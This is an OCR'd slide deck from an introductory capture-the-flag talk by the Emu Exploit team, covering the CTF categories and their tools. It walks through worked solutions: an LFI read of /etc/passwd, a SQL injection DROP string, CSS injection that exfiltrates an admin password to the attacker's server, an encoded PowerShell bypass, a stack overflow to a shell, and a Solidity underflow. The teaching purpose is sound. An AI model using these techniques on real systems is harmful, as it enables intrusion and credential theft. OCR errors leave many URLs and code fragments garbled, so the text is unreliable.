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Walcome!

Akout & Alms
Enjoy!



Thanks to Telstra for the

vanuel
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$ /. cat ./housekeeping

e Bathrooms need keycard
e F1zza after talk
e Wifi is QCIC - no pw

e The network 15 NOT 1n scope



$ ¥/, groups socialware

Acknowledgement of Country



$ ¥/, groups socialware

Schedule:
e 5:30 - 6:00pm - Welcome + Network!
e 6:00 - 7:00pm - Presentation! (this)
e 7:00pm - 8:00pm - Network + CTF Exercises!
e Closing



&~/ whoami

Who are we’?
e Emu Exploit

Captain - Riley aka "toasterpwn”
e HS Student + Vulnerability Researcher
Vice Captain - Rainier aka "teddy" /
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Torry aka "torry2"
e security unprofessional
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¥/ whoami

& p4 CTF 2023 - thanks for playing!
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& ~/: date

e What is CTF?

o CTF Culture

e CTF Categories
e Writeups

e Start CTFing TODAY!



S ¥/ man CTF

"Capture the Flag”

Start Hacking! (competitively)

Teams: Solo vs Team

Formats: Attack/Detense, King ot the Hill , Jeopardy (tocus)
Scoring: Static/Dynamic

Links:
https://ctttime.org/

https://ctt101.org/



https://docs.ctfd.io/docs/custom-challenges/king-of-the-hill

thelctficeberg v2

v/. whois ctf.culture IR

DEF CON 4 (1996)
Early days (legacy)
Modern CTFing

CTF Iceberg (v2)

playing ctf to win
setting up vm closerto server for faster speeds
adjusting sleepischedule for 48hour ctf

ctfitools and scriptsi s _......'a red/bull for energy

spam reload page tojblood sanltyfheck
7 v;
tfitacticsh

$flag hoarding

coun |__f"_-_. tollin | 0GC | }?f‘% H 1d | COS l > [ O e

trading hints withjetheriteams P

>
l||||| gre |||1|| r {IJ ck blo

&
»
gy of

"l: -

cursed ctf tactics

attacking organisers committing espionage

hosting fake ctfs to distract competitors
ctftime weight manipulation

betraying teammates for higher prizes
holding organisers family hostage for flags

bribery of competitors and organisers
for hints and flags

Perth Socialware

0x01



$ ~/: 15 categories

e web (Web Exploitation)

e torensics (Digital Forensics)
e crypto (Cryptography)

e rev (Reverse Engineering)

e pwn (Binary Exploitation)

e misc (Other)



B web

Web Exploitation

spaceotechnologies.com

11 ol 11

e Most "Familiar

° i ronten epDserver

e Web in CTFs cravenes
sers '

e High Level Vulnerabilities
e Web applications & What they're made of

e How vulnerabilities arise

e Web Interaction w/ Systems

Perth Socialware 0x01



B weh

Web Exploitation

¢ Common Vulnerabilities e
. <?7php
(owosp.org/www—prOJec’r—’rop—’ren) $file = § GET['page']:

7>

// /vuln.php?page=index.

e Example (|_F| in PHP) // /vuln.php?page=../../../../../etc/passwd

e Example (SQLl in JS) oo

function query(request) {
const statement =
"SELECT value FROM table WHERE " +

e Learning Curve

request. . ;

e Code Review / Mitigations // *foobar"

// "foobar; DROP table;-- "




B web

Web Exploitation

e Tools

curl /burpsuite /python +sublime text

e Resources
PortSwigger Academy (portswigger.net/web-security)
OWASP "Juice Shop" (owasp.org/www-project-juice-shop)

PicoCTF (picoctt.org)

HackTheBox Challenges (hackthebox.eu) (anything by makelaris)

Perth Socialware 0x01



B web

Challenge Example - "Hacking With Style"

from PeCan+ CTF 2023

Goal is to read
from /secrets

limited password
character set =
easy to bruteforce

Username;

Password:

Register

Please note that this form is unencrypted and should only be used for testing purposes. Please do not enter any real

credentials. Use a test password instead.

Perth Socialware 0x01



B web

Challenge Example - "Hacking With Style"
from PeCan+ CTF 2023

Submit Your CSS Style

Bob is currently accepting submissions for new CSS styles on the website. If you have a cool design you'd like to share, please
use the form below to submit your CSS snippet. Bob will review it and might just feature it on the website!

We can inject
arbitrary CSS that
presumably gets - !
loaded by the
admin 'bob’

CSS Code:
div {
background-color: lightblue;

Submit

Perth Socialware 0x01



B web

Challenge Example - "Hacking With Style"
from PeCan+ CTF 2023

The account
endpoint displays
your username
and password, we
can attack this
with a Cross-site
attack

value="a" disabled id="username” data-form-type="other”>»

value="a" disabled id="password” data-form-type="other”>»

Perth Socialware 0x01



B web

Challenge Example - "Hacking With Style"
from PeCan+ CTF 2023

Attempts to load

bg image from o0
ourserverifa - input#password[value™="b"] {
password input : url(https://myserver/b)
. . }
starting with "b"

exists
® 0

input#username[value”™="b"] {
. url(https://myserver/b)

Same works for
Username }




wab

Challenge Example - "Hacking With Style"
from PeCan+ CTF 2023

import string
import requests

import

Payload to test a >
character

[background-image: url(webhook/u?char={attempt})}}"’

ss-submit', cookies={session_cookie}, data=data)

response = requests.

REQUESTS (1/500) Newest First

Search Query (2] (GET

GET) #2536d 1.146.229.74 3 1:16:08 PM (a few seconds ago)

22/08/2023 1:16:08 PM 0 bytes
2536dfca-2220-4b5c-83f7-6fic31b 73968

Result: -

Query strings

char

S erth Secialware 0x01



B web

Challenge Example - "Hacking With Style"
from PeCan+ CTF 2023

char

Repeat!

char

Eventually we

 eak bobtheadmin:cherryripe

Perth Socialware 0x01



B web

Challenge Example - "Hacking With Style"
from PeCan+ CTF 2023

Login! Hi bobtheadmin

Bob's Secrets

pecan{that-was-bruteforcing-with-styles}



B forensics

Forensics challenges:

e Most commonly messed up

e Often the "easiest” category

e Many CTFs skip this category

e Memory
e Disk
e Network

Perth Socialware 0x01



B forensics

Tools are specialized for a type ot torensics:

e Memory
© vol2

> vold
e Disk

o FTK Imager

o The Sleuth Kit +Autopsy
e Network

T Wrashar WIRESHARK

Perth Socialware 0x01



B forensics

An ultra short example from PeCan+ CTF

ecanforensics

powershell.exe -ep bypass -EncodedCommand

dwBoAG8AYQBtAGKAIAAJADEAIABWAGUAYwWB
hAG4AewB3ADMAbABJADAAbLQBIAFSAdAAWAF
8AdgAWAGWANABOADEAbABpADcAeQBPADsA
CgBzAGWAZQBIAHAAIAA2 ADAAMAA=

whoami #1 pecan{w3lcOme_t0_v0I41t1li7y};
sleep 600



B forensics

Where to learn:

e HackTheBox challenges

e Blue Team Labs Online

e Playing CTFS!!III! HACKTHEBOX

@ BLUE TEAM

Powered by Security Blue Team

Perth Socialware 0x01



I crypto

- Today at 11:23 PM

"h-‘.‘ can't spell crypto without cry

https://cryptoisnotcryptocurrency.com/

Perth Socialware 0x01



I crypto

crypto (cryptography)
e more of a "specialised” category

e usually "easiest” category in a CTF S L T T ¢
import math

® cdsiler Cl‘ypTO |nVO|Ve |09|C ;Li(ﬂb:tgpfgi_{;g;(EE;(J;|~ﬂ'{}~H()

e harder crypto involve math. lots of math RIS 820

X p+q
n p * q

totient_n = (p-1) * (g-1)
d = pow(e, -1, totient_n)

import random

: i c = pow(m,
from secret import flag

print(f'{x
print(f'{n
print(f'{c

random.seed("'"'.join([str(random.randint( : )) for i1 in range(random.randint(3, 6))]1))
theKey = [random.randint(0, ) for 1 in range(len(flag))]

theEnc = "".join([hex(((random.choice(theKey)) ~ ord(flag[i]))<<l) for i in range(len(flag))])
open( 'out.txt', 'w').write(theEnc)

slightly harder modifed challenge from
example of easy crypto challenge from "The Odyssey CTF 2023" "DicoCTF 2022"



[ IPython: Users/teddy
~ via e vi8.16.0 took 1m 39s

+ sage
Warning: overwriting SAGE_ROOT environment wvariable:

0ld SAGE_ROOT=/var/tmp/sage-9.5-current
{ I y p ﬂ New SAGE_ROOT=/Applications/SageMath-9-5.app/Contents/Frameworks/Sage.framework/Versions
e

SageMath version 9.5, Release Date: 2022-01-30
h | ? Using Python 3.9.9. Type "help(D)" for help.
ow to learn o
y = var(lD
solve([xA + x¥*y - yA == 1, xD
[x == -1/2%y - 1/2*sqrt(5*yAZ2 + 5348), x == -1/2%*y + 1/2*sqrt(5*yAr2 + 5348)]
factor( )
7 ¥ 41 ¥ 191 * 271 * 3541 * 9091 * 27961

e cryptohack (https://cryptohack.org)

o the go-to resource tor learning

3 A4 - 25017358071613/16840995557798412*xA3 + 9055703538599
548*xA2 - 26385729940282723/33681991115596824*x + 1062760187444225/400

crypto + good community
usetul tools

Recipe BB E iInput

e python

AES Decrypt O n

sagemath
example

+ O] =

6f4aacac26d875ead7019flal86bcadefBaade737f67bd97a2f31laea5c646526¢cc76471el37

038711fd42d4779c1d7b4aedb6fad52d3ab430b6857f456ea840d045ca4c915da929d15¢ce5ff

Ky 6000125661

12121212121212121212121212..,  HEX”

o used in almost every challenge

e sagemath
o python module, for advanced math ~ «n .

Delimiter —
Space mc 168 = 1

e cyberchef

From Base64 Q 1

(https://gchqg.github.io /CyberChet/) |

Remove non-alphabet chars |:| Strict mode

flag{example_flag}

o online tool, useful for quickly

cyberchef

performing and chaining operations

Tr Raw Bytes « LF

BO®

Perth Socialware 0x01



I crypto

example challenge - Anarchia from The Odyssey CTF 2023

import random
from secret import flag

random. (' '. ([str(random. ( ; )) for i in range(random. (3, 6))1))

theKey [ random. (0, ) for i in range(len(flag))]
theEnc = "". ([hex(( (random. (theKey)) "~ ord(flag[i]))<<l) for i in range(len(flag))])

open( out.txt', 'w'). (theEnc)

can you spot the vulnerability?



I crypto

example challenge - Anarchia from The Odyssey CTF 2023

import random
from secret import flag

random.seed('"'.join([str(random.randint ( , )) for i in range(random.randint(3, 6))]))

theKey = [random. (0, ) for 1 in range(len(flag))]
theEnc = "". ([hex(( (random. (theKey)) © ord(flag[i]))<<l) for 1 in range(len(flag))])

open( 'out.txt’', 'w'). (theEnc)

ine 6 - seeds PRNG with brute forceable seed (!!!)

ine 7 - generates random number array of length tlag
ine 8 - encrypts tlag by XORing number array and bitshifting

we can solve by brute forcing the seed, and reversing the encryption



I crypto

example challenge - Anarchia from The Odyssey CTF 2023

import random
2 1mport itertools

5 possible seeds=[]
for i in range(3,6):
possible seeds.append(itertools.product (range( +1), repeat=1i))

enc="0x5e0x1d40x1940xcc0xcalx13a0x1340xealxd40x19a0x1220x1560x1c40xcalx880x9c0x1680x1220x220x1d20xd00x1b00x1c00xd
20xbB80x1alxealx1060x1080xd20x7e0x1celx920x1b00xB8alx760xlac0x1420x1fel0xd20x12a0x14c0x340x4c0x1d00x1060x440x340x7a0
x1b0".split("0x")

enc = [int (b, ) for b in enc if b != "'']

for seed length in possible seeds:
for seed in seed length:

mn

random. seed ( .join(map(str,seed)))

key=[random.randint (0, ) for i in range(len(enc))]
flag=[ (char>>1) "random.choice(key) for char in enc]

if b'flag' in bytes(flag):
print (£"Got the flag: {bytes(flag).decode()}")
exit()

python solve script



B rey

andi  $uo, ouiF
Su1, Suva
ful, azi
. . addu Svd, Suvl, Suva
1bu $ud, B{SvD)
Reverse Engineering (RE) b S
;ie gza: S:ET oc_LB2168
. $at, ;zgr
@ 5 =
lui Sud, Bxu4n te("ERRAN'")
add Su1, %vd, (aWro ) (8);
Wh is R E : : e, o8 ghderrant
* at is Reverse Engineering AN
E R e e

(Ond Why?) i S, E“: gggggg — —
e Static/Dynamic Analysis

e Disassembly, 32 vs 64-bit, Calling Conventions, Compiler

Optimisations, Call Stack, etc.. (there's a lot RE can cover)

e Important Fundamentals + where to start
e RE Methodology




B rey

Reverse Engineering

@ + Vv x86-64 gcc 13.2 2

stdio.h A~ L Output.~ YFilter..~ ®Libraries 4 Overrides < Add new..> ¢ Addtool..~

1 .LCe:
main() 1 LC
{ "Hello World!"
printf("Hello World!\n"); main:

@;

2

, OFFSET FLAT:.LCe
puts

; O

e Compiler Optimisations godbolt.org

e Finding the Enrypoint
e Navigating a Binary
e Patching

Perth Socialware 0x01



B rey

Reverse Engineering

Tools:
e strings.exe & file

Disassemblers/Decompilers: (static)

e Binary Ninja
 IDA (hex rays)

01100111
10C

E

Debuggers: {dynamic) More Importantly Than Toolsets:

e gdb (ELF)
e windbg (PE)

Write (and re)_your own code & Get Experience!

Perth Socialware 0x01



B rey

Reverse Engineering

B crackmes.one
Plattorms: (specitic)

e crackmes.one

e challenges.re

Plattorms: (general)
e PicoCTF (picoctt.org)

e HackTheBox Challenges

More Importantly Than Toolsets:
(hackthebox.eu)



B rey

$ strings newborn

/11b64/1d-11nux-x86- SO

Reverse Engineering e
puts
strlen
n " __libc_start_mauin
e (newborn) Bdby crackme __cxa_finalize

printf
__150c99 scanf

strcmp

Libc.

GLIBC_2

GLIBC_2 '
e strings
_ITM_deregisterTMCloneTable

__gmon_start__ n n
_ITM_registerTMCloneTable stremp

PTE1 "s3cr3t_1337_k3yl"
u+UH
s3cr3t_1H
k3y1lH
KEY:
FAIL
WIN
[snip]

file ¢ file newborn
newborn: ELF -bi1t LSB

...Lsnip]

behaviour SRS

KEY: 1 do not know the key
FAIL




B rey

Reverse Engineering

e (newborn) Baby "crackme”

$ ./newborn

Key: s3cr3t_k3yl

Incorrect

$ objdump -d newborn | grep

: ff do
bb: ]

ff
ff
f
fe

) fe
e fe

fe

=

=
fe

o

ff ff

ff

ff ff
ff ff
ff ff
ff ff

ff ff

ff ff

ff

(%rip)
__cxa_finalize@plt>
<deregister_tm_clones>
<strcpy@plt>
<strlen@plt>
<printf@lt>
<__1s50c99_scanf@plt>

<strcmp@plt>

<puts@plt>
<puts@plt>

fail

dump call instructions
there must be more to it.



B rey

Reverse Engineering

a:
d:

e (newborn) Baby "crackme”

no thanks

ff ff ff

(although highly encouraged)




B rey

Reverse Engineering

e (newborn) Baby "crackme”

int __cdecl main(int argc, const char **argv, const char **envp)

{
char input[80]; // [rsp+0h] [rbp-90h] BYREF

char real_key[32]; // [rsp+50h] [rbp-40h] BYREF
char key[28]; // [rsp+70h] [rbp-20h] BYREF key VS real—key

strcpy(key, "s3cr3t_1337_k3yl");
printf(“KEY: "); .
RIS LA real_key replaces last character with
strcpy(real_key, key); mpn
real_key[strlen(real_key) - 1] = '!'; )
if ( strcmp(input, real_key) )

puts("“FAIL");
else

puts("WIN");
return 0;




B rey

Reverse Engineering

e (newborn) Baby "crackme”

"s3cr3t_1337_k3yl" ->"s3cr3t_1337_k3y!"

$ ./newborn win (yay)
KEY: s3cr3t_1337_k3y!
WIN




I pwn

Binary Exploition

e Memory Corruption
e Hardest and most sought atfter category tor most teams
e Steepest learning curve

e Very vast tield
o Stack, Heap, Browser, Kernel, Hypervisor, Embedded, etc

e AAAAAAAAAAAAAAAAAAAAAAAAAA\XO8\x56\x40\x00



I pwn

What should you know?

e The C programming Language
e x86/x64 + ARM/aarch64 assembler
e python for scripting

e An understanding of memory and different data structures
o Stack, Linked List, etc

e A good grasp on reverse engineering



I pwn

Vulnerability Examples:

reads 128 bytes into 64 byte buffer,
overflow of 64 bytes on the program's
stack

we don't check if idx is within the
array bounds, allowing us to read OOB

read from chunk after it's free (UAF)
leaking chunk metadata

char buf[64];
read(0, buf, ) ;

int 1dx;

int numbers[3] =
scanf("%d", 1dx);
printf("%sx\n", n

{1,2,3};

char* chunk = malloc( ) ;
read(0, chunk, ) ;
free(chunk);

printf("%ss\n", chunk);

umbers[idx]);



I pwn

Tools:

e pwntools
* pwninit

e gdb
o pwdbg or gef plugin

e Decompiliers
o |IDA, Binary Ninja, Ghidra
o online at https://dogbolt.org

Perth Socialware 0x01



I pwn

Where to Learn?

e pwn.college

o> from beginner to advanced lectures and

./ pwn.college

challenges

e pwnable.tw (hard)

e Play CTFs and learn from Writeups FHNABLE. TH

e Write C programs and try to break them



I pwn

Challenge Example - "babypwn" tfrom Perth Socialware

int __cdecl main(int argc, const char **argv, const char **envp)

{

boilerplate code for SETETS, €U Gk
setting up remote y o
buffering to run the X
binary over the network int setup()
} return setvbit(stdin,
gets reads a infinite int vuln()
number of bytes into a char v1[96];
fixed 96 byte buffer, — puts("What's your name?");
allowing us to "overflow" Peturn printf("Hello, %sI\n", vi);

It



I pwn

Challenge Example - "babypwn" tfrom Perth Socialware

We want to call "win" to spawn a
shell

What does the program
memory look like after
filling the buffer??

Here's where we will resume

execution after "vuln" finishes

int win()

{

return system("/bin/sh");

}

00:0000| rsi rsp OxTFffffffdcud «— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAL
.3 7 skipped

08:0040 | OxTFFf+fffdc80 «— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
A 3 skipped

0c:0060| rbp OxT7fffffffdca® —» OxT7TFffffffdcOO® <«— Ox2

0d: 0068 Ox7+ffffffdcad8 —» <— mov eax, O

Perth Socialware 0x01



I pwn

Challenge Example - "babypwn" tfrom Perth Socialware

We can write past the end of the buffer,
SO we can overwrite that address with Shell!

the address of win! $python3 x.py
[*] '/mnt/c/Users/riley/Downloads/babypwn/tes
Arch: amdéd-6U-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (Ox400000)
[+] Starting local process '/mnt/c/Users/rilc
[*] Switching to interactive mode
What's your name?

Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI
% 1s

from pwn import *

context. ='1nfo’
e ELF('./babypwn"')

P

babypwn x.py

]

Perth Socialware 0x01



B misc

Challenges that don't tit in any typical CTF category
e Steganography (pure guessing, not fun - don't put these in CTFs!)
e Pyjail, or other jails / sandboxes
o very fun and interesting - definitely try these!
e Exploiting weird quirks of coding languages
e Blockchain (not actually misc, more on this later...)
e PPC (coding challenges, basically competitive programming)
e Esolang challenges (really messed up joke programming languages)

e welcome / survey / discord / sanity check (free points to cope)
o OTHERI!!!



B blockechaln

blockchain (web3)
e exploiting smart contfracts

e challenges in Solidity

e very new category, usually not in a lot of CTFs

e vulnerabilities include exploiting

underflows/overtlows, implement

tools/resources

ogic errors,
ations

e python/javascript (web3py, web3.js) to script

interacting with smart contracts

e remix (https://remix.ethereum.org)

o interactive web IDE tor coding in solidity,

deploying contracts, etc

e Ethernaut - wargame site full of web3 challenges

e HackTheBox - recently added blockchain chals

Z OpenZeppelin

Warning no we ovider and the game is on read-only mode

The Ethernaut

Ethernaut




B blockechaln

example challenge from Ethernaut R

AL very old solidity version (~0.6.0),

versions before 0.8 do not

? pragma solidity "0.6.0;

- automatically check for
4 contract Token {

under/overtlows!
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply; we can CCI” '|'hIS 'FUI’]C'HOI’\ cmd cause
i

an underflow here, it our balance
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0); IS |ess Thqn Vqlue

balances[msg.sender] -= _value;
balances[_to] += _value;

return : however, there is a check before to
}

see if our balance - _value >=0
function balanceOf(address _owner) public view returns (uint balance)

return balances[_owner];

2} can you find the vulnerability?
3 }




B blockechaln

example challenge from Ethernaut

? pragma solidity "0.6.0;

4 contract Token {

—- }

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;

}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return

}

b

function balanceOf(address _owner) public view returns (uint balance)

return balances[_owner];

}

this check also underflows!

it is implemented incorrectly, and
should be our balance >= _value

thus, the check doesn't work as
infended!



$ ~/. gquestions
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$ ~/. gquestions

Questions!

Perth Socialware 0x01



v/ shutdown

Thank you!
Networking will now commence!

Hop onto Socialware tor some CTF challenges to start!

e https://socialware.emu.team



